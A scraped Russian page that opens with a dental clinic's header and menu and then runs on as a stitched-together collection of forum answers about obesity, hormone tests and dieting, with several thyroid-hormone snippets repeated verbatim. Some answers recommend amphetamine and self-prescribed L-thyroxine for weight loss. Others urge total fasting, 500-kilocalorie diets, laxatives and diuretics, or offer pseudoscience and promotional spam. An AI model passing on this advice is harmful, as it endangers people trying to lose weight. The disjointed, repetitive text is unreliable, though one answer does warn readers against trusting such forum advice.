Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Диагноз ожирение1или2ст.эндокринолог отправляет сдавать анализ на гормоны.А что потом будет делать?есть ли смысл их сдав

Чтобы выявить из-за чего нарушен обмен веществ, следствием чего явилось ожирение

Тироксин для похудения принимать не по назначению доктора очень опасно. Какие бы отзывы и инструкции вы не встречали в интернете, не верьте.Тироксин это один из гормонов, продуцируемых в щитовидной железе.

Конечно. если это гармоны то ожирение связанно с этим особенно у мужчин. это значет что лечение будет соответственно гормональное.

Следующие действия эдокринолога зависят от того что покажут анализы. Если хотите, что б события развивались - сдавайте. А иначе нафига было начинать идти к врачу.

Только правильное питание... у самой эндокринные нарушения.... никакие гормоны не помогают, начинаю есть как нормальные люди - прёт во все стороны, ем "здоровую" пищу, без сладостей, майонеза и мучного - худею, ..сколько вам лет? мне один заведующий роддомом, так сказать бывший, он сейчас уже на пенсии, 25 лет проработал заведующим, сказал, что как только рожу, все нарушения пройдут... вот, а сейчас диеты, физ. нагрузки... не питайте иллюзий, ни с каких гормонов вы не похудеете, а только поправитесь... питание и только. Вам наверняка назначили ТТГ, кортизол, прогестерон, Т4 свободный... всё это я проходила, сдавала по 100 раз, куча денег.. а толку ноль

Есть - потом назначит лечение. Если эндокринолог грамотный спец, то все пойдет хорошо. Моя подруга после обследования и назначенного лечения уже скинула 9 кг за 2 месяца.

Зависит.. . у меня были проблемы с щитовидкой и гормоны зашкаливали и меня сажали на гормональные, но когда я перестала есть чипсы на ночь и стала в тренажерку ходить похудела на 11 кг.... но с другой стороны у меня не было ожирения, ожирение - это серьезное заболевагние и вам нужно следовать рекоммендациям врача. Например, уже доказана зависимость уровня гормона инсулина и избыточного веса. В любом случае вам серьезно придется менять образ жизни и отношение к еде, но лучше самодеятельностью не заниматься, особенно когда вам надо сбросить больше 10 кг...

Ограничение калорийности питания вызывает изменения уровня ряда гормонов и нейромедиаторов и чем ниже процент жира в организме, тем быстрее запускается вся цепочка Эти изменения подают сигнал мозгу, что еды недостаточно...

Да есть

Мне нравится высказывание Фрейда:
В лечение входит его цена. Чем больше вы платите врачу, тем больше задумываетесь о своем здоровье, и тщательнее следуете его рекомендациям.
Чисто психологический аспект, но он срабатывает....

Менячя гонгяли по эндокриноглогам много лет. . весила 129 кило. . ужас.. жить не хотелось. . волосы лезли ..ногти отслаивались.. а потом достало всё.и села на белковую диету. . промучалась месяц. . --16 кило радом. . .первым делом ногти перестали слоится. . потом делала перерыв. . и опять--на месяц. . .потом както втянулась. . сейчас намного легче. . стало. . и подключились всякие психологические аспекты. . то, что талия --не только на шее появилась. . и пропали кудато вопросы о гормонах иэндокренологах

Ожирение.

Скорее всего дело не в еде, а в гормонах, например. Ну или некой генетической предрасположенности.

Продукты, способствующие выработке гормонов щитовидки.Заменимая аминокислота L-тирозин является ключевым компонентом, необходимым для выработки гормонов щитовидной железы.

А ты уже на год опоздала с лечением. В больницу полное обследование-ищи... или умрешь. у меня подруга умерла 160 кг сидела и ела-упала не встала...

Гм, ну нужно много врачей обойти, даже одного профиля, но территориально разных. У дяди был случай (не ожирение, но просто неполадка) когда только 41 осмотревший врач нашел причину. А все остальные пропускали/не видели.

Может анализ на гармоны сдать

Если все чудеса, что вы написали, - правда, и вы ни о чём не умолчали и не лунатите по ночам, опустошая холодильник, то вспоминается только роман Кинга "Худеющий". Вас там никто случайно на "пухни-пухни-пухни" не проклинал? )

Есть врач гинеколог-эндокринолог

Когда гормона щитовидной железы больше, чем нужно, - человек покрывается потом, не может уснуть, у него ускоряется сердцебиение, может очень активно худеть - иногда теряет около 10 кг за месяц.

За 1 год, нужна гормональ
ная терапия при правильном подходе вес
вес меняется очень быстро.

Гормональный сбой в организме,

Мне кажется, что проблема связана с гормонами, надо сделать гормональную карту, и отсутствие месячных говорит о нарушении в самом организме, а не о переедании. Проблема точно есть, но если честно не знаю ни одного человека с ожирением из блокадного Ленинграда, правда от голодовки могут отказать некоторые органы и при нормальном питании наберешь ещё больше, чем было. И наверное лучше попробовать частную клинику, раз такие у нас врачи, что помочь не могут. Главное не опускать руки, всё будет хорошо, эмоциональное состояние тоже очень важно, больше смеешься, быстрее худеешь) всё будет ок)

Где-то читала - надо определить вредный для вас продукт. Чаще всего люди полнеют от углеводов и растительного белка (хлеб, любые мучные изделия и каши, бобовые...). А также нежелательно в один приём пищи есть разные продукты. Особенно мучное (макароны, каши) и картошка в сочетании с мясом. Мясо, рыбу есть надо отдельно, ни с чем не смешивая.

Когда я сидела на гречке целый месяц (заливала кипятком и даже не солила) - я набрала 6 кг
Она не всем подходит. Бросайте это дело. Про молочку забудьте (кефир молоко-как не странно)
просто кушайте сырые овощи (кроме картошки) и отварную рыбу с постным мясом (не свинину). Лишний вес станет уходить быстро на таком пайке, а потом уже включите в рацион что-то новое

Кроме того, необходимо учитывать, что в контексте задачи похудения ради красивой фигуры того, ради чего мы занимаемся фитнесом Состав стимуляторов щитовидной железы Единственными гормонами способствующими нормализации работы щитовидной железы...

Хочу сказать следующее. У меня отец тренер по боксу. Он ещё и врач по образованию. Он мне всегда говорит спорт спорт спорт. Где ты видела жирного человека который занимается спортом. Нет таких. Тоесть даже если гормоны нужно начать жир сгонять. И к доктору. У меня тоже гормоны. Я ленивая жопа!!!! Легче списать на проблемы со здоровьем чем бегать по утрам ...Я о себе щас говорю. Удачи вам. Найдите тренера который вам поможет. а можно и психолога может это психологические проблемы.

Что-то я не слышала таких историй, где толстый умер от недоедания. дохнут от недоедания истощенные дистрофаны. и не надо говорить тут о такой ерунде как гормоны или еще лучше - гены. гормоны это волосы выпадают, проблемы по женски и пр. а ожирение ТОЛЬКО от избытка жратвы. нужно не есть до тех пор пока вес не упадет. от голода не сдохните на теле полно запасов для организма. чтоб сдохнуть от голода нужно истощать. так что если вопрос стоит так, чтоб сожрать чтоб похудеть - такого не бывает. не жрите вообще ничего пока не похудеете. не сдохните 100%

Очищайтесь понемногу, слабительные, мочегонные, --(травы) хотя бы 1 день перед этим -голод. Двигайтесь, имею ввиду ходьбу, активные виды спорта пока не нужно

Выход есть один - спиды (амфетамин). безотказно работает, но есть и свои побочки. прочитайте про его особенности, а то так можно и в жируху 200кг. превратиться, там уже скорость не поможет, сердце крякнет. вы вообще у эндокринолога что проверяли? вам надо т3,т4 и ттг проверять, может гипотериоз. так пейте L-тироксин, разгоняйте метаболизм. но лучше амфетамин, конечно же, там даже гормоны ваши не устоят, похудеете.

Не знаю что там говорят врачи и какие они. Но явно печень и поджелудочная не в порядке.... Это первое что приводит к ожирению. Потом скорее всего проблема ещё в позвоночнике. в районе поясницы. Ухудшается питание нижней части позвоночника.. это естественно приводит к снижению половых гормонов. А это тоже приводит к ожирению.... Я не знаю как вы питаетесь. Но то что сделано на маргарине вам есть ни в коем случае... Даже хлеб лучше делать самой на растительном масле.

В щитовидной железе вырабатывается также гормон кальцитонин. Основное его действие снижение повышенного уровня кальция крови.Снижает аппетит, способствует похудению, нормализует давление и сон.

Сами сказали - отекают - у вас не ожирение, а отёчность - восстановите вод-но-солевой баланс, чтобы организм не запасал воду...
по поводу консультации - см. ролики Бориса цацулина на тему отеков)

Сахарный диабет. Если даже такового нет можно попробовать лечение с помощью того лекарства что лечат диабет. Из рассказов слышала что помогло

Очень странный вам дали совет про гречку... За один прием как вы пишите 300 гр- это много! Вы едите больше нормы. Питайтесь не более 700 Ккал в день - вес будет уходить.

Желательно не кушать и вести активный образ жизни.

Надо к эндокринолгу идти, и там искать причину (анализы на гормоны и т. д.), а не к терапевту или гинекологу (какой толк даст терапевт в питании, если они сами все заплывшие жиром бабы?). У женского организма по больше части вес обусловлен именно состоянием гормональной системы. Если произошел какой-то сбой, проблемы в эндокринной системе, никакие диеты - не помогут, вы все равно будете набирать вес (даже если голодом будете сидеть!).
Если же вы были же у эндокринолога своего города, и там ничего не получили, езжайте куда-то в региональную больницу на прием к эндокринологу (какой-нить областной центр).

Кроме того, гормоны щитовидной железы оказывают существенное влияние на рост и созревание человеческого организма, способствуя формированию нервной системы и скелета.

Если вы пользуетесь сотовым телефоном и компьютером то вы облучаете гипоталамо= гипофизарную систему в свою очередь идет нарушение деятельности работы устойчивого гормонального механизма... темболее если едите каши - это углеводы от них жиреют, ещте белки жиры - мясо рыбу

Аллен Карр. Простой путь к снижению веса без диет

Привет, у меня та же проблема. Как я тебя понимаю)) А лет тебе сколько? Может в личку спишемся. Есть пара советов.

Гормональный сбой точно! я тоже прибавляла вес с чего сама не понимала. тоже был гормональный сбой у меня. гинеколог прописала пить гормональный таблетки Медиана. она сказала и гормональный восстановишь и вес лишний уйдет. так она и вышло. за год на 15 кг я скинула. и с менструацией всё наладилось. удачи тебе!

Однозначно проблемы с гормональной системой. Спорт помогает почти всем. но не в данном случае. Хотя кто знает, гормональный фон тоже меняется от правильных нагрузок, но обследование всё же стОит пройти. беда лишь в том. что нынешние врачи ничего не знают и не умеют :(

Миндаль несмотря на высокую жирность способствует похудению, т. к. большая часть жиров минует стадии расщепления и всасывания и выводится из организма.Ведь гипотиреоз недостаток гормонов щитовидной железы приводит к ожирению.

Дробное питание: 7-10 раз в день по 100-200 грамм один любой продукт за приём: 1-только кефир, 2-только хлеб, 3-только курица, 4-только борщ, 5-только яблоко, 6-только мясо, 7-только огурцы, 8-только колбаса, 9-только гречка, 10-только чернослив---короче в любой последовательности, но по одному и через 6-7 месяцев себя не узнаешь в новоявленной худышке...

89% гормоны. Нужно анализы сдать и востановить баланс. А диету должен врач назначать исходя из анализов. Я 2 месяца ела только овощи + нагрузка и поправилась. Недавно обратилась к врачу сказал мне так нельзя нагрузка на шитовидку большая

Проверьте пролактин, все мужские гормоны, гормоны надпочечников, сделайте томограмму гипофиза.

Соглашусь с выше сказанным.

Выпишете какую-то ерунду!! Гинеколог назначил Сиофор??? Повышен уровень сахара в крови?? Какое отношение к этому имеет гинеколог??? 300 гречки сразу и питание 3 раза вдень!!!! Это вы сами себе выдумали, или доктор так прописал??? Такое впечатление, что врачи, к которым вы обращались, полные идиоты!!! Но так же не бывает.

Кроме того, этот регуляторный гормон способствует росту и увеличению числа клеток щитовидной железы.Многие запрещ нные средства для похудения содержат в сво м составе гормоны щитовидной железы.

Меньше есть

Программа bodykey от NUTRILITE™ – это комплексный подход к процессу коррекции веса, который предлагает не только продукты питания и биологически активные добавки к пище, но и персональные рекомендации по рациону питания и физическим упражнениям.

Займитесь спортом.

Могу помочь. Добавляйся в скайп aserbiy . Александр 17 - это я.

Да! скорее всего надо для начала привести в норму гормоны!

Похудение с помощью гормонов щитовидной железы. Такое воздействие гормонов щитовидной железы на обмен веществ послужило поводом для создания методов похудения с их использованием.

Поинтересуйся бариатрической медициной.
Операция SLEEVE например.
Почитай форум на сайте ВЕС. РУ
Лично я делал ЛБЖ полтора года назад. Тогда было дешевле-97000,а СЛИВ стоил 210000.Сейчас дороже.
Операция проводится лапароскопичесим методом через 5 проколов. Первая фотка через 5 дней после операции.
Сброс веса-со 124 кг до 92 на сегодняшний день. Бандажирование самая дешёвая операция, но она требует дисциплины питания. https://youtu.be/Y2WwwGWzIb4

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, липриной, жидким кашатном, ксениКАЛОМ семенами чиа, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Буду краток. Действительно меньше есть (дробно 5_6 раз и больше двигаться (лучше плавать, иначе и скелет "пойдёт-поедет"). Ищите причину в эндокринной системе. Сдайте анализы крови на гормоны, половые, щитовидной железы итд...

Мне бы очень хотелось помочь Вам. Недавно я познакомилась с совершенно новыми продуктами питания... Я сама только начала, но есть очень много людей, которые уже пользуются этими продуктами и они с результатами... Мне очень много рассказали про правильное питание и правильный образ жизни. Хотите я расскажу вам все, что знаю... Вместе худеть веселее...

Меньше есть

Тироксин для похудения принимать не по назначению доктора очень опасно. Какие бы отзывы и инструкции вы не встречали в интернете, не верьте.Тироксин это один из гормонов, продуцируемых в щитовидной железе.

Эх я тоже когда-то была с такими же мыслями и проблемами. Тоже винила во всём гормоны, наследственность и прочее, тоже типа мало ела и не вредное, пока не попала к хорошему психологу. Основная проблема избыточного веса - переедание, чтобы не говорили все вокруг и Ваше собственная субличность. Основное надо понять, что надо есть только тогда когда хочется действительно есть, а не идти на поводу извращённого аппетита. Правильно есть, правильно пить жидкость, правильно относится к процессу стройнения - для этого не так много времени необходимо. Стройнейте с удовольствием!

Странный вы человек. Сами пишете: "мне нужна консультация врача", а идете за этим на проект "Ответы", где может быть куча школьников, которые вам напишут, что они врачи, надают массу опасных для вашего здоровья советов и тем самым угробят вас. Собственно, что мы и видим в ответах - кто-то вам наркоту рекомендует, кто-то спорт (при весе свыше 120 кг это может убить ваше сердце, т. е. вы тупо умрете во время физнагрузки из-за сердечной недостаточности; и какой нахрен разгон метаболизма на препаратах может быть?), кто-то вообще на отёчность списал 30 кг... Если завтра от следования таким советам вы окажетесь в гробу, никто из местных советчиков об этом не узнает, и всем будет плевать, кроме вашей семьи. Вы разумная девушка, если понимаете, что вам нужен врач, но врачей надо искать в соответствующих учреждениях, а не в интернете! Вам нужна консультация эндокринолога, гинеколога-эндокринолога, т. к. нарушения цикла говорят о том, что проблема в гормонах, и ее гречкой (как и диетой вообще) не решить! Записывайтесь срочно к гинекологу, желательно со специализацией гинеколога-эндокринолога; если не помог один врач - ищите другого (врачи тоже, знаете ли, разные бывают - кому-то вообще до пациентов дела нет). При таком резком наборе веса и нарушениях цикла вам вообще нельзя самой себе назначать ни диету, ни физические нагрузки. УЗИ щитовидки делали? На какие именно гормоны сдавали? Впрочем, не важно, вам сейчас реально важно и жизненно необходимо - найти хорошего эндокринолога.

Заняться спортом. Только это спасет

Если врачи говорят, что здорова, то это больше связанно с нервами, успокойтесь, поменяйте обстановку. Могу посоветовать "систему минус 60", если кратко там можно есть всё до 12 часов дня, обедать скромнее, полдник и почти отказаться от ужина, а так же заниматься физкультурой по возможности. В этой системе есть полезные советы, если вы откажитесь от плотного ужина это уже огромная потеря в весе, просто помните, что в организме накапливается вода и не сразу видны результаты. Так же отказ от соли, соль задерживает воду в организме. Отказ от сахара, но не полный, сахар это энергия, просто откажитесь от магазинных продуктов и перейдите на варенья, домашнюю выпечку без сахара. Откажитесь от свинины, от колбас это всё лишний жир. Гречка бесполезна, не надо на ней зацикливаться, готовьте любые каши и обязательно к ним добавляйте мясо. Сейчас модно есть продукты из индейки, мясо дешевое, сосиски так вообще почти без соли и жира. Добавьте салатик из зелени, овощей. Кушайте фрукты, но не слишком сладкие, хотя без разницы, фрукты это не конфета, а фруктоза. Обязательно молочка, пусть это углевод, но ведь полезный, это вам не булочка. Откажитесь от кофе и чая, они мочегонные и вообще это лишняя кислота. Пейте воду. Рис выводит соль из организма.
У меня нет таких глобальных проблем, но лишний жирок имеется. Рост 162см, вес 54кг. Готовлю утром кашу, чаще рис, покупаю рисовую лапшу или же гречневую лапшу. Добавляю к каше сосиску, если стандарт то одну, а так две крошечные. У меня бывают разные варианты с едой, но в основном это каша. Могу помидор добавить, паштет магазинный, но от них желудок болит. Утром готовлю, прихожу на работу к 9-ти голодной, тут же кушаю. Дальше я могу выпить чай без сахара, но в основном мой рацион это яблоки. Много яблок, бывает 2 больших или 5 маленьких, сижу целый день голодная и грызу их. Вечером ем всё, но если хочется похудеть, то надо переходить на супчики обычные, мясной бульон, рис, картошка, зелень. Можно есть яйца, но советуют белок, а желтки выкидывать. Опять же всё без сладкой выпечки, конфет. Я ещё люблю халву, козинаки. В магазинах продают еду для диабетиков, конфеты и выпечку не советую, а вот халву на фруктозе, мюсли и т. д. можно. Вариантов много, но морить себя голодом опасно. Пусть даже вы выпьете чай с сахаром, и это заменит вам сладости. Можно мороженное. Успехов вам.

Лечение ожирения народными средствами могут помочь, подробнее здесь http://ibeauty-health.com/zdorove/lechenie-ozhireniya-narodnymi-sredstvami.html

Ограничение калорийности питания вызывает изменения уровня ряда гормонов и нейромедиаторов и чем ниже процент жира в организме, тем быстрее запускается вся цепочка Эти изменения подают сигнал мозгу, что еды недостаточно...

Курлык)

Голодай!!!

На этой стадии заболевания консервативное лечение малоэффективно и методом выбора является хирургическая операция.

Тебе нужна сыроедическая хотя бы диета

Девченки как збросить вес после родов.не че не помогает.

Есть меньше гулять больше малышом тем более лето зарядка. и сдать анализы на гармоны.

Продукты, способствующие выработке гормонов щитовидки.Заменимая аминокислота L-тирозин является ключевым компонентом, необходимым для выработки гормонов щитовидной железы.

Если вы на гв то практически никак, а если вы не кормите грудью то все методы можно опробовать

Разбросайте спички по квартире,
и в течении дня собирайте... .
нагибаясь, вы делайте упражнения)))))))))))))) )
НО!!!! если вам можно)) )
я конечно так не делала, но это ХОРОШИЙ ВАРИАНТ)) )
а так.. . гуляйте, ходите пешком.. . правильно питайтесь)))))

Я есть стала меньше, чтоб порция еды была максимум 200 гр.

У меня вес снизился после года, до этого все было бесполезно

В принцепи если соблюдать диету и немного ограничется в сладком через какое-то время все вернется в норму

Когда гормона щитовидной железы больше, чем нужно, - человек покрывается потом, не может уснуть, у него ускоряется сердцебиение, может очень активно худеть - иногда теряет около 10 кг за месяц.

Нужно перейти на правильное питание.

Забей. Всё равно к 50 годам будут у тебя титьки висеть, будет бампер здоровый, будет ворикоз, стёгна как у кабана, лобок увеличится и киска твоя будет огромной

Присоединяюсь к господам Алисеенко! Если ребенок уже ест прикорм, то перейти на его рацион! О-очень помогает!!!!

Я похудела сидя на бонском супе. Набери в поисковике диету. Написано, что подходит даже для кормящих мам. Я кормлю, ребёнку 9 месяцев. Раз в месяц сажусь на эту диету. В неделю худею на 4 килограмма, а потом стараюсь удержать вес! Вот осталось ещё 2 раза подиетничать и я буду счастлива)))

Может щитовидка не в норме?

Кроме того, необходимо учитывать, что в контексте задачи похудения ради красивой фигуры того, ради чего мы занимаемся фитнесом Состав стимуляторов щитовидной железы Единственными гормонами способствующими нормализации работы щитовидной железы...

Побольше гулять с малышом, именно ходить.
кушать полезную и здоровую для него и себя пищу (если вы кормите грудью)
а если нет, то спорт конечно. хотя бы бег... он очень эффективен

Пластырь для похудения))) ) наклеить на рот)))))

Помогите! поправилась на 10кг! подскажите диету или дайте совет!

Сама ищу поправилась на 15

В щитовидной железе вырабатывается также гормон кальцитонин. Основное его действие снижение повышенного уровня кальция крови.Снижает аппетит, способствует похудению, нормализует давление и сон.

Кремлевская

Ни переедать и заниматься спортом, стараться ни есть вредные полуфобрикаты. На диетах ни надо сидеть, они НЕ помогают, иначе никто бы на них ни сидел и к ним бы ни возврощался. Диета даёт совсем недолгий результат, надо менять образ жизни и привычки питания, а ни сидеть на диетах. И проверьте щитовидную железу и гармоны у врача, часто ещё в этом причина набора веса, особенно необоснованного.

Могу посоветовать, проверено на личном опыте, не есть после 6, ну край - 7! МОжно только кефир, яюлоко или морковь. Конечно не будет лишним днем заниматься хотя бы полчаса физическими нагрузками. Я так похудела на 10 кг, причем главное начать и само все уйдет, за месяца 2, 3

Меньше жрать и бегом в спортзал на фитнес

Ешь только фрукты и овощи в большом колличестве.

Кроме того, гормоны щитовидной железы оказывают существенное влияние на рост и созревание человеческого организма, способствуя формированию нервной системы и скелета.

Влюбиться! и сильно попереживать! я вот никак поправиться не могу и всех знакомых при каждой встрече ну прям ужасаю своей худобой! Замучили! А еще говорят секс зжигает ОЧЕНЬ много каллорий!

Кремлёвская или кефирная !

Я ни чего не ела в среду и пятницу. Остальные дни- обычная еда. Но лучше исключить алкоголь, сладкое и мучное. Также, можно завести маленький блокнот и записывать в него сколько было тобой съедено.... Фитнес, тоже не помешает, если будешь совмещать его с диетой! Удачи!

В первую очередь нужно сдать анализ крови на гормон щитовидной железы и пролактин ...

Диет много, сама перепробовала кучу. Пришла к выводу, что до 12 дня есть можно все что захочешь. С 12 до 18 часов фрукты или овощи. Но а после 18 ничего. Прекрасно помогает.

Миндаль несмотря на высокую жирность способствует похудению, т. к. большая часть жиров минует стадии расщепления и всасывания и выводится из организма.Ведь гипотиреоз недостаток гормонов щитовидной железы приводит к ожирению.

Ничего не ешь после 6.Подруга похудела на 25кг. Я в шоке была. Сама таким образом сбросила 3кг.

Чтоб похудеть нужно вечером пить кефир нежирный.

Из личного опыта. Начала активно худеть после лечебной диеты в течении 6 мес. Скинула около 7кг, которые в течении 5 лет не возвращались, т. к. восстановился обменный процесс.
1ЭТАП 3дня только чечевичная каша (сколько влезет, а влезает мало) ) ),пить только кипяченную воду-2л
Чечевицу замочить в большом кол-ве теплой воды на 3 часа и более, слить воду, промыть и залить свежую воду-2части на 1часть чечевицы, Варить на медленном огне до полной готовности.
2ЭТАП 7 дней есть только по одному виду каши. Каши есть 3 раза в день через 3,5 и более часа, избрав для себя последовательность
При повышенном АД: 1 гороховая, 2 пшеничная, 3 гречневая, 4 овсяная, 5 пшенная, 6 ячменная, 7 рисовая
При пониженном и нормальном АД: 1 рисовая, 2 ячменная, 3 пшенная, 4 овсянная, 6 гречневая, 6 пшеничная, 7 гороховая
Все крупы замачиваются на ночьв большом кол-ве воды. Утром промыть и с новой водой сварить с небольшим кол-вом соли, можно масла 5гр. . Пить воду 2л в день
3 ЭТАП три дня есть кашу из семи круп-три раза в день. Пить только воду-2л в день. Для каши: по одной столовой ложке каждой: гороховой, пшеничной, гречневой, овсяной, пшенной, ячменной, чечевичнойГотовить, как во втором этапе. Можно добавить немного соли, 5 гр. масла, 5гр. меда. Пить ТОЛЬКО воду.
4 ЭТАП 9 дней есть по 2 раза в день через 5.5 часов и более. Утро 0,5 ряженки или 200гр. творога с 5гр меда и 5гр сметаны. Вечер какшк из семи круп или тушенные овощи или овощной суп (я ела суп) немного соли пряные травы.
Диета тяжелая, но результат фееричный, и главное потом я ела все, что хотела и не толстела 5 лет. Теперь организм снова засорился, надо повторить))) )

Помогите советом пожалуйста!!!!Вес 96кг...знаю..докатилась((((Что делать????

Не кидаться в омут различных диет, а сходить к диетологу (если финансы позволяют) , который грамотно посоветует, что делать, у меня так подруга прекрасно сбросила вес и с успехом держит его. Ну и без спорт зала никуда

Кроме того, этот регуляторный гормон способствует росту и увеличению числа клеток щитовидной железы.Многие запрещ нные средства для похудения содержат в сво м составе гормоны щитовидной железы.

Юля, парень который судит по фигуре не парень. по этому поводу у вас проблем быть не должно.
по поводу самой фигуры. набирается вес из за не правильного обмена веществ в организме. нужно правильно питатся.. . если есть возможность по утрам делать пробежки

Набирала вес специально чтобы проверить??? Проверила? А теперь закрывать рот и в спортзал!!! С толковым инструктором!!!

Диета, спорт и после 18 вечера ничего ниесть,

Сходи на плаванье, сядь на велик, а диетологи только бабки гребут, займись спортом, а если твой круг общения на тебя будет странно смотреть, то тут уж сама думай что лучше, быть может в спортивной среде ты и найдеш достойного себя чела ;))

Убрать из рациона мучное (хлеб в том числе) и сладкое. Овощи фрукты и крупы есть отдельно от мяса и рыбы. Больше пить, не менее 2,5 литров в день. Обязательно перед каждым приемом пищи выпивать стакан воды. Не принимать пищи за 3 часа до сна.

Похудение с помощью гормонов щитовидной железы. Такое воздействие гормонов щитовидной железы на обмен веществ послужило поводом для создания методов похудения с их использованием.

Юличка, просто еще не встретился тот кого ты ждешь. Мужчина если любит то любит и не смотрит какая ты толстая или худая. Очень много мужчин которые любят пухленьких, особенно восточные мужчины.

Физкультрой займись Запишись в какой-нибудь женский клуб, где многие с такими же проблемами, и занимайся. Только с желанием. Поставь цель и обязательно будет результат.
Откажись от мучного. Трудно, но возможно.
Не ешь после 18.
По-больше двигайся... пешком на работу, с работы... на этажи без лифта.. .
И главное - полюби себя. Будешь комплексовать, ничего не получится.. .
И ещё - влюбиться можно))))

Тебе предстоит большая работа над собой и в эмоциональном плане в том числе. До этого тебе правильно писали, без спортзала здесь не обойтись, но при этом надо правильно питаться. Организм должен получать все нужные организму вещества. Обязателен правильный образ жизни, ни в коем случае не употреблять алкоголь. Займись собой конкретно, полюби себя и увидешь, как тебя начнут любить другие. В добрый путь, как говорится. Удачи!!!

Ну а в чем проблемма то. знаете проблему, следующий шаг- начать с ней бороться. проверьте гармоны у эндокринолога. если виной тому ваши гармоны, пролечитесь. если нет-в спортзал и диета. через полгода будете как ласточка.

Во-первых запасись терпением. Чтобы похудеть, время нужно и не катят отговорки типа "ой, времени нету, ой, я только вечером смогу покушать" и т. п. :)
Если тебе неуютно быть в таком весе, то и не надо! Да и сама я не в восторге, если нравлюсь восточным мужчинам - Боже упаси :)
Во-первых, не сиди на жёстких экспресс-диетах - потом только хуже станет. Не верь рекламе всяких там чаёв и таблеток - если не наркота, то печень посадишь по-любому.
Ограничивай себя в еде (некоторые продукты придётся убрать) . Ешь маленькими порциями (от них не растягивается желудок) и промежутки между приёмами пищи должны быть 3-4 часа. Если работаешь и не можешь так питаться, то лучше нормально завтракай, обедай чашечкой кофе, чая или чем-то лёгким и не ужинай - только напитки. Пей много жидкости - это ускорит обмен веществ! Ещё полезный совет - каждое утро натощак выпивай стакан чистой воды, это очистит организм от шлаков и процесс похудения усилится!
Спорт обязателен! Нужно сочетание аэробных движений и силовых нагрузок. По отдельности не тот эффект. Есть хорошее видео - Синди Кроуфорд - Новое измерение. Я занималась два месяца пару раз в неделю и скинула 4 кг. , но ела-то я всё что хотела и сколько хотела при этом! А если в сочетании с диетой и по возможности каждый день заниматься, то представляю, какой эффект будет!! ! Да и результат будет надолго, не то что после диет. Ну если не хочется заниматься самой дома, то можно пойти в спортзал какой-нибудь или на фитнес! Там как раз будут специалисты, которые подберут Вам упражнения!
Ещё полезно устраивать себе разгрузочные дни, но редко - это весь день пить-пить-пить и ничего не есть. Ну или арбузы кушать, сейчас сезон, заодно и почки почистить!
Ну и если будешь лазить в интернете, то не проходи мимо всяких там статей, где говорится о том, как ускорять обмен веществ, какие продукты полезны тем, кто худеет и тому подобное.
Удачи!

Тироксин для похудения принимать не по назначению доктора очень опасно. Какие бы отзывы и инструкции вы не встречали в интернете, не верьте.Тироксин это один из гормонов, продуцируемых в щитовидной железе.

В этом мире главное деньги и красота, а все остальное доходит после 40.

Я думаю, что стоит сдать гомоны и проверить щитовидку! сделайте это и поймёте, что у вас
удачи

Найди в инете систему Кати Миримановой минус 60! Поможет!!!

Я сама месяц назад решила похудеть) такая же проблема, лицо красивое, а вот попа и бедра широкаваты.
Уже пятую неделю не ем после шести и не ем мучное, жирное, сладкое. занимаюсь физическими нагрузками: по 60 раз приседаний в день.
и виже результаты штаны спадают, животик уменьшился.
з завтрешнего дня буду садить на гречневую диету, посмотрю сколько продержусь, если хочешь можем начать вместе, если что пиши в личку)

В бассейн попробуйте ходить и на аэробику. Приятно и полезно: ) Ешьте поменьше. А диетами себя не мучайте. Просто "незажирайтесь"=) Помогает отлично иглоукалывание. Аппетит уменьшается.

Ограничение калорийности питания вызывает изменения уровня ряда гормонов и нейромедиаторов и чем ниже процент жира в организме, тем быстрее запускается вся цепочка Эти изменения подают сигнал мозгу, что еды недостаточно...

Для начала - полюбить себя, полюбить свой вес, полюбить свою фигуру.
А дальше при каждом приеме пищи повторяем: "Я кушаю и худею".
Лишний вес набирается, когда человек подсознательно чувствует себя незащищенным. Делайте выводы.

Система минус 60....принцип на завтрак до 12 есть все что захочешь, не обращая на вредность и на количество каллорий, на обед и ужин (до 18) список определенных сочетаемых продуктов (есть на сайте) , http://www.dieta-da.ru/minus60.htm

Похудение будет эффективней на убывающую луну.

Если серьёзно появилось желание похудеть то не думаю что для етого много надо
просто вызови слесаря и пускай он тебе поставит внутренний замок на холодильник закроет его и ключ унесет с собой.


Продукты, способствующие выработке гормонов щитовидки.Заменимая аминокислота L-тирозин является ключевым компонентом, необходимым для выработки гормонов щитовидной железы.

Моя диета!!!! НА НЕЙ МОЖНО СИДЕТЬ ДОЛГО!!! !
без вреда для организма... .
кто не занимается физ. нагрузкой (советую 500 калорий в день)
или просто для большего рез-та,!! !
еси есь физ. нагрузки то неболее 1000 кал в день
моно есть ВСЕЁЁЁЁЁЁЁЁЁЁЁ!!!!(на 500 кал)
вопрос в том что лучше съесть, чтоб наесться?. .
кило фруктов.... или 50 грамм шоколада??? ?
(ненадо есть жареное, много соленое, и масленое) )
1 день фрукты
2 день овощи
3 день молочные продукты
4 день мясные (не жирные.. типа говядины, курицы) -ВАРЕНЫЕ
5 день рис, гречка
6 день ЧТО хотите (не более 500 калорий)
7) день либо ничего не есть либо тоже самое что и 6 пункт
НЕ ВАЖНО В КАКОМ ПОРЯДКЕ!!! !
главное... это все есть))) )
и чередовать... .
жиросжигающие продукты (рекомендуются)
ананас
грейпфрукт
зеленый чай
каждый день пить воду скоко хотите (не газ. )
и еси хотите..)) )
чай (желательно зеленый)
кофе (без молока, и полложки сахара)
диета не сложная.... похудела на 4 кило за неделю
можно еще недельку (СТРОГО НЕДЕЛЮ!!! ) на гречке (еси вытерпите)
есть моно ее скоко угодно (смысл в том что она вам быстро надоест)
я вытерпила ПЯТЬ дней похудела на три КИЛО)) )
